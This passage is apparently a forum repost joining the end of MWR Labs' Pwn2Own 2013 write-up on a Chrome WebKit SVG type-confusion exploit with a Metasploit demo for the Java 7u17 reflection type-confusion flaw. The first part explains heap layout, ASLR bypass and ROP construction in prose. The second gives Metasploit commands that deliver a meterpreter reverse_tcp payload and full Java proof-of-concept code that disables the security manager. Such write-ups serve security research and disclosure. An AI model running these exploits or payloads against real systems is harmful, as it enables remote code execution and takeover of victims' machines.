foreignObject tag, and then retrieving the viewTarget property of the SVG document in JavaScript caused the non-SVG element to be cast to an SVGElement, and returned a handle to this element to JavaScript. [h=3]Exploitation[/h] This vulnerability was extremely flexible, as we were able to cast an element into almost any SVG element type. We did this by creating an HTML element with the tag name set as a valid SVG tag. In the context of HTML, this tag name is invalid, so when the page is rendered, an HTMLUnknownElement is constructed. After the cast, the unknown element is recognised as a valid SVG element, and the properties and methods of this SVG element can be accessed from JavaScript. Since an HTMLUnknownElement object always has a smaller memory footprint than a valid SVG object, accessing SVG-specific attributes of the object causes the adjacent memory to be interpreted as part of the SVG object. By setting up the heap correctly, we were able to control the adjacent memory contents, and control the attributes of the SVG object. Because we could read the adjacent memory without the risk of crashing the browser, we were able to detect when we controlled the adjacent memory, and could therefore avoid the need for excessive allocations on the heap. During testing, we observed that it usually took around 10 allocations before the desired heap layout was achieved, which is faster and more efficient than traditional heap spraying. We were also able to exploit this vulnerability multiple times without crashing the browser, each time setting up the heap and triggering the invalid cast to a different SVG element with the most advantageous object layout for the desired task. We used five seperate exploit stages in the final exploit, which are detailed below. [h=4]1. Leaking a pointer[/h] As with many modern applications, Chrome makes full use of Address Space Layout Randomisation (ASLR), and consequently we are unable to reliably determine where key objects are in memory in order to corrupt them. An important step in the exploit was to determine the base address of a dll in memory, so that this could be used to construct a ROP chain later on in the exploit. The first step for us to do this was to leak a pointer from within chrome.dll. We did this by filling the adjacent memory of our “confused” object with HTML div elements. We were able to read the vtable pointer of the adjacent object by reading a property of the SVG element, but we were unable to verify that this was read from a valid object with this information alone. Rather than guessing and risking the reliability of the exploit, we took additional steps to confirm that the object we were accessing was indeed one of the div elements we allocated previously. Another property we were able to read from the SVG element corresponded to the lastChild pointer of a div element, assuming that the heap was laid out correctly. We kept a list of references to all div elements allocated when setting up this stage of the exploit, and accessed what we believed was the lastChild property of this element. If the value was null, this indicated that the div had no children, which was expected, as we created the divs and did not assign them any children. We then assigned a child to each div and monitored for a change in the lastChild of the adjacent object. If the value changed, this indicated that the object was one of our allocated div elements, and we could safely assume the vtable pointer read from that object was valid. As a bonus, the leaked lastChild value is actually a pointer to the child object, which we use later on in the exploit to hold our ROP chain. [h=4]2. Calculating the base address[/h] We could have subtracted a static value from the leaked pointer to find the base address of chrome.dll, but this has several downsides, such as making the exploit dependant on the exact version of chrome being targeted, as this is likely to change often (an excellent example being Chrome’s last-minute patches released 2 days before the contest). Instead, we opted to calculate the value dynamically. We were able to do this by using an object which used vectors (arrays) as part of it’s structure that were accessible from JavaScript. In memory, vectors have a base address and a capacity assigned. These values are used to determine the boundaries of the vector in memory. We filled the adjacent memory with strings that we controlled, which allowed us to specify an arbitrary value for the base address and size of the vector. We placed the base address well before chrome.dll was expected to begin, and made the size large enough to cover from there to the leaked pointer (we know the beginning of the dll cannot be after this point). We then used standard vector functions to read backwards through memory in page-sized chunks, looking for the “MZ” signature in the PE header of chrome.dll. This gives us the base address of the image in memory. [h=4]3. Reading chrome.dll’s .text segment into memory[/h] Again, we could have built a ROP chain that used static offsets from the base address we calculated previously, but this is subject to change with each minor version of Chrome. We decided that the best option would be to dynamically build the ROP chain by reading the contents of chrome.dll’s text segment into a JavaScript string, and then use the native string functions to find sequences of bytes in that string. To read the memory, we used the same vector manipulation techniques we used when calculating the base address to place a vector over the .text segment, and read the bytes using standard vector functions. The vector used in this stage was a vector of float values, so the memory read from the dll had to be converted from a float representation to a series of hexadecimal bytes. We did this by initialising an ArrayBuffer, and creating two views over it, one as a Float32Array, and one as a Uint32Array. We were then able to assign values to the Float32Array and read them out as bytes from the Uint32Array. Some values did not decode cleanly as valid floats, but these could be safely ignored, as the dll was adequately sized to contain a majority of gadgets. [h=4]4. Building the ROP chain[/h] The native string functions used to find gadgets in the string were extremely fast. The string contained almost 40 megabytes of data, and yet when benchmarking the gadget finding function, a search for 100000 gadgets took under a second. We now wanted to place our ROP chain at a known address in memory. To do this, we made use of the address of child element we assigned to the div in stage 1. We created a vector that covers this child element, and read an offset from the vector to find the address of a string property. Again, we were able to confirm that this was leaked from the correct object by assigning a value to the property and observing a change. After building the ROP chain, we assigned it to the string property, and stored the leaked address of the ROP chain for use in the final stage of the exploit. [h=4]5. Gaining code execution[/h] To gain control of the program flow, we used the simplest method available, allocating controlled strings adjacent to the object and calling a virtual method on the object, which uses the controlled memory as a vtable pointer. We used this to execute a series of stack pivot gadgets, and to begin execution of our ROP chain. Once in the ROP chain, we allocated a page of RWX memory, and copied in the bytes for the remaining gadgets we wanted to execute, as well as the shellcode to trigger the kernel vulnerability. [h=3]Sandbox Bypass[/h] During the source code review, we also identified a vulnerability (3) in Chrome’s IPC layer, that could have been used as part of a sandbox bypass. However, this bug was discovered independently by Google, and patched prior to the contest. In parallel, we were auditing the Windows kernel in order to bypass the sandbox entirely and gain code execution as SYSTEM. This process will be documented in the second part of this blog post, once the vulnerability fix has been released by the vendor. [h=3]Conclusion[/h] It is very difficult to secure such a complex piece of software, which frequently deals with untrusted input. Even with modern exploit mitigation techniques and the inclusion of a sandboxed renderer process, these protection mechanisms can be circumvented by exploiting the underlying operating system, which may not be so well protected. Several attempts are being made to improve the security of browsers in the future, including Mozilla’s rendering engine, Servo (4), which is written in the managed language Rust. These approaches introduce their own challenges, such as matching the performance of purely native implentations. [h=3]References[/h] (1) Pwn2Own at CanSecWest 2013 - MWR Labs (2) https://trac.webkit.org/changeset/145013/ (3) https://code.google.com/p/chromium/issues/detail?id=169770 (4) Mozilla Research — Projects — mozilla.org Sursa: MWR Labs Pwn2Own 2013 Write-up - Webkit Exploit - MWR Labs

[h=1]Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo[/h] [h=4]Timeline :[/h] Vulnerability discovered and reported to vendor by Jeroen Frijters Vulnerability corrected in April CPU the 2013-04-16 Vulnerability publicly disclosed by Jeroen Frijters the 2013-04-17 Metasploit PoC provided the 2013-04-20 [h=4]PoC provided by :[/h] Jeroen Frijters juan vazquez [h=4]Reference(s) :[/h] Oracle Java April 2013 CPU [h=4]Affected version(s) :[/h] JDK and JRE 7 Update 17 and earlier [h=4]Tested on Windows XP Pro SP3 with :[/h] JDK and JRE 7 Update 17 [h=4]Description :[/h] This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet. [h=4]Commands :[/h] use exploit/multi/browser/java_jre17_reflection_types set SRVHOST 192.168.178.36 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.36 exploit getuid sysinfo import java.lang.invoke.MethodHandle; import java.lang.reflect.Field; import static java.lang.invoke.MethodHandles.lookup; class Union1 { int field1; Object field2; } class Union2 { int field1; SystemClass field2; } class SystemClass { Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12, f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23, f24,f25,f26,f27,f28,f29,f30; } class PoC { public static void main(String[] args) throws Throwable { System.out.println(System.getSecurityManager()); disableSecurityManager(); System.out.println(System.getSecurityManager()); } static void disableSecurityManager() throws Throwable { MethodHandle mh1, mh2; mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class); mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class); Field fld1 = Union1.class.getDeclaredField("field1"); Field fld2 = Union2.class.getDeclaredField("field1"); Class classInt = int.class; Class classDouble = double.class; mh1.invokeExact(int.class); mh2.invokeExact((Class)null); Union1 u1 = new Union1(); u1.field2 = System.class; Union2 u2 = new Union2(); fld2.set(u2, fld1.get(u1)); mh1.invokeExact(classDouble); mh2.invokeExact(classInt); if (u2.field2.f29 == System.getSecurityManager()) { u2.field2.f29 = null; } else if (u2.field2.f30 == System.getSecurityManager()) { u2.field2.f30 = null; } else { System.out.println("security manager field not found"); } } } Sursa: Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo